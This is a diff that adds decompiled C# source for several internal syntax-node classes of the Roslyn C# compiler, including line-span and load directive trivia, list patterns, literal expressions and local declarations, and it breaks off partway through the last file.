b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LineSpanDirectiveTriviaSyntax.cs @@ -0,0 +1,237 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class LineSpanDirectiveTriviaSyntax : LineOrSpanDirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken lineKeyword; + + internal readonly LineDirectivePositionSyntax start; + + internal readonly SyntaxToken minusToken; + + internal readonly LineDirectivePositionSyntax end; + + internal readonly SyntaxToken? characterOffset; + + internal readonly SyntaxToken file; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public override SyntaxToken LineKeyword => lineKeyword; + + public LineDirectivePositionSyntax Start => start; + + public SyntaxToken MinusToken => minusToken; + + public LineDirectivePositionSyntax End => end; + + public SyntaxToken? CharacterOffset => characterOffset; + + public override SyntaxToken File => file; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal LineSpanDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken lineKeyword, LineDirectivePositionSyntax start, SyntaxToken minusToken, LineDirectivePositionSyntax end, SyntaxToken? characterOffset, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 8; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lineKeyword); + this.lineKeyword = lineKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)start); + this.start = start; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)minusToken); + this.minusToken = minusToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)end); + this.end = end; + if (characterOffset != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)characterOffset); + this.characterOffset = characterOffset; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal LineSpanDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken lineKeyword, LineDirectivePositionSyntax start, SyntaxToken minusToken, LineDirectivePositionSyntax end, SyntaxToken? characterOffset, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 8; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lineKeyword); + this.lineKeyword = lineKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)start); + this.start = start; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)minusToken); + this.minusToken = minusToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)end); + this.end = end; + if (characterOffset != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)characterOffset); + this.characterOffset = characterOffset; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal LineSpanDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken lineKeyword, LineDirectivePositionSyntax start, SyntaxToken minusToken, LineDirectivePositionSyntax end, SyntaxToken? characterOffset, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 8; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lineKeyword); + this.lineKeyword = lineKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)start); + this.start = start; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)minusToken); + this.minusToken = minusToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)end); + this.end = end; + if (characterOffset != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)characterOffset); + this.characterOffset = characterOffset; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => lineKeyword, + 2 => start, + 3 => minusToken, + 4 => end, + 5 => characterOffset, + 6 => file, + 7 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.LineSpanDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLineSpanDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLineSpanDirectiveTrivia(this); + } + + public LineSpanDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken lineKeyword, LineDirectivePositionSyntax start, SyntaxToken minusToken, LineDirectivePositionSyntax end, SyntaxToken characterOffset, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || lineKeyword != LineKeyword || start != Start || minusToken != MinusToken || end != End || characterOffset != CharacterOffset || file != File || endOfDirectiveToken != EndOfDirectiveToken) + { + LineSpanDirectiveTriviaSyntax lineSpanDirectiveTriviaSyntax = SyntaxFactory.LineSpanDirectiveTrivia(hashToken, lineKeyword, start, minusToken, end, characterOffset, file, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + lineSpanDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(lineSpanDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + lineSpanDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(lineSpanDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return lineSpanDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new LineSpanDirectiveTriviaSyntax(base.Kind, hashToken, lineKeyword, start, minusToken, end, characterOffset, file, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new LineSpanDirectiveTriviaSyntax(base.Kind, hashToken, lineKeyword, start, minusToken, end, characterOffset, file, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal LineSpanDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 8; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + lineKeyword = syntaxToken2; + LineDirectivePositionSyntax lineDirectivePositionSyntax = (LineDirectivePositionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lineDirectivePositionSyntax); + start = lineDirectivePositionSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + minusToken = syntaxToken3; + LineDirectivePositionSyntax lineDirectivePositionSyntax2 = (LineDirectivePositionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lineDirectivePositionSyntax2); + end = lineDirectivePositionSyntax2; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + characterOffset = syntaxToken4; + } + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + file = syntaxToken5; + SyntaxToken syntaxToken6 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken6); + endOfDirectiveToken = syntaxToken6; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)lineKeyword); + writer.WriteValue((IObjectWritable)(object)start); + writer.WriteValue((IObjectWritable)(object)minusToken); + writer.WriteValue((IObjectWritable)(object)end); + writer.WriteValue((IObjectWritable)(object)characterOffset); + writer.WriteValue((IObjectWritable)(object)file); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static LineSpanDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(LineSpanDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new LineSpanDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ListPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ListPatternSyntax.cs new file mode 100644 index 0000000..73ace01 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ListPatternSyntax.cs @@ -0,0 +1,190 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ListPatternSyntax : PatternSyntax +{ + internal readonly SyntaxToken openBracketToken; + + internal readonly GreenNode? patterns; + + internal readonly SyntaxToken closeBracketToken; + + internal readonly VariableDesignationSyntax? designation; + + public SyntaxToken OpenBracketToken => openBracketToken; + + public SeparatedSyntaxList Patterns => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(patterns))); + + public SyntaxToken CloseBracketToken => closeBracketToken; + + public VariableDesignationSyntax? Designation => designation; + + internal ListPatternSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? patterns, SyntaxToken closeBracketToken, VariableDesignationSyntax? designation, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (patterns != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(patterns); + this.patterns = patterns; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + if (designation != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + } + + internal ListPatternSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? patterns, SyntaxToken closeBracketToken, VariableDesignationSyntax? designation, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (patterns != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(patterns); + this.patterns = patterns; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + if (designation != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + } + + internal ListPatternSyntax(SyntaxKind kind, SyntaxToken openBracketToken, GreenNode? patterns, SyntaxToken closeBracketToken, VariableDesignationSyntax? designation) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBracketToken); + this.openBracketToken = openBracketToken; + if (patterns != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(patterns); + this.patterns = patterns; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBracketToken); + this.closeBracketToken = closeBracketToken; + if (designation != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openBracketToken, + 1 => patterns, + 2 => closeBracketToken, + 3 => designation, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ListPatternSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitListPattern(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitListPattern(this); + } + + public ListPatternSyntax Update(SyntaxToken openBracketToken, SeparatedSyntaxList patterns, SyntaxToken closeBracketToken, VariableDesignationSyntax designation) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken == OpenBracketToken) + { + SeparatedSyntaxList val = Patterns; + if (!((ref patterns) != (ref val)) && closeBracketToken == CloseBracketToken && designation == Designation) + { + return this; + } + } + ListPatternSyntax listPatternSyntax = SyntaxFactory.ListPattern(openBracketToken, patterns, closeBracketToken, designation); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + listPatternSyntax = GreenNodeExtensions.WithDiagnosticsGreen(listPatternSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + listPatternSyntax = GreenNodeExtensions.WithAnnotationsGreen(listPatternSyntax, (IEnumerable)annotations); + } + return listPatternSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ListPatternSyntax(base.Kind, openBracketToken, patterns, closeBracketToken, designation, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ListPatternSyntax(base.Kind, openBracketToken, patterns, closeBracketToken, designation, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ListPatternSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openBracketToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + patterns = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeBracketToken = syntaxToken2; + VariableDesignationSyntax variableDesignationSyntax = (VariableDesignationSyntax)reader.ReadValue(); + if (variableDesignationSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variableDesignationSyntax); + designation = variableDesignationSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openBracketToken); + writer.WriteValue((IObjectWritable)(object)patterns); + writer.WriteValue((IObjectWritable)(object)closeBracketToken); + writer.WriteValue((IObjectWritable)(object)designation); + } + + static ListPatternSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ListPatternSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ListPatternSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LiteralExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LiteralExpressionSyntax.cs new file mode 100644 index 0000000..10f81dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LiteralExpressionSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class LiteralExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken token; + + public SyntaxToken Token => token; + + internal LiteralExpressionSyntax(SyntaxKind kind, SyntaxToken token, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)token); + this.token = token; + } + + internal LiteralExpressionSyntax(SyntaxKind kind, SyntaxToken token, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)token); + this.token = token; + } + + internal LiteralExpressionSyntax(SyntaxKind kind, SyntaxToken token) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)token); + this.token = token; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)token; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.LiteralExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLiteralExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLiteralExpression(this); + } + + public LiteralExpressionSyntax Update(SyntaxToken token) + { + if (token != Token) + { + LiteralExpressionSyntax literalExpressionSyntax = SyntaxFactory.LiteralExpression(base.Kind, token); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + literalExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(literalExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + literalExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(literalExpressionSyntax, (IEnumerable)annotations); + } + return literalExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new LiteralExpressionSyntax(base.Kind, token, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new LiteralExpressionSyntax(base.Kind, token, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal LiteralExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + token = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)token); + } + + static LiteralExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(LiteralExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new LiteralExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LoadDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LoadDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..7f222cb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LoadDirectiveTriviaSyntax.cs @@ -0,0 +1,165 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class LoadDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken loadKeyword; + + internal readonly SyntaxToken file; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken LoadKeyword => loadKeyword; + + public SyntaxToken File => file; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal LoadDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken loadKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)loadKeyword); + this.loadKeyword = loadKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal LoadDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken loadKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)loadKeyword); + this.loadKeyword = loadKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal LoadDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken loadKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)loadKeyword); + this.loadKeyword = loadKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => loadKeyword, + 2 => file, + 3 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.LoadDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitLoadDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitLoadDirectiveTrivia(this); + } + + public LoadDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken loadKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || loadKeyword != LoadKeyword || file != File || endOfDirectiveToken != EndOfDirectiveToken) + { + LoadDirectiveTriviaSyntax loadDirectiveTriviaSyntax = SyntaxFactory.LoadDirectiveTrivia(hashToken, loadKeyword, file, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + loadDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(loadDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + loadDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(loadDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return loadDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new LoadDirectiveTriviaSyntax(base.Kind, hashToken, loadKeyword, file, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new LoadDirectiveTriviaSyntax(base.Kind, hashToken, loadKeyword, file, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal LoadDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + loadKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + file = syntaxToken3; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + endOfDirectiveToken = syntaxToken4; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)loadKeyword); + writer.WriteValue((IObjectWritable)(object)file); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static LoadDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(LoadDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new LoadDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LocalDeclarationStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LocalDeclarationStatementSyntax.cs new file mode 100644 index 0000000..af74ffc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LocalDeclarationStatementSyntax.cs @@ -0,0 +1,245 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class LocalDeclarationStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken? awaitKeyword; + + internal readonly SyntaxToken? usingKeyword; + + internal readonly GreenNode? modifiers; + + internal readonly VariableDeclarationSyntax declaration; + + internal readonly SyntaxToken semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken? AwaitKeyword => awaitKeyword; + + public SyntaxToken? UsingKeyword => usingKeyword; + + public SyntaxList Modifiers => new SyntaxList(modifiers); + + public VariableDeclarationSyntax Declaration => declaration; + + public SyntaxToken SemicolonToken => semicolonToken; + + internal LocalDeclarationStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? awaitKeyword, SyntaxToken? usingKeyword, GreenNode? modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (awaitKeyword != null) + { + 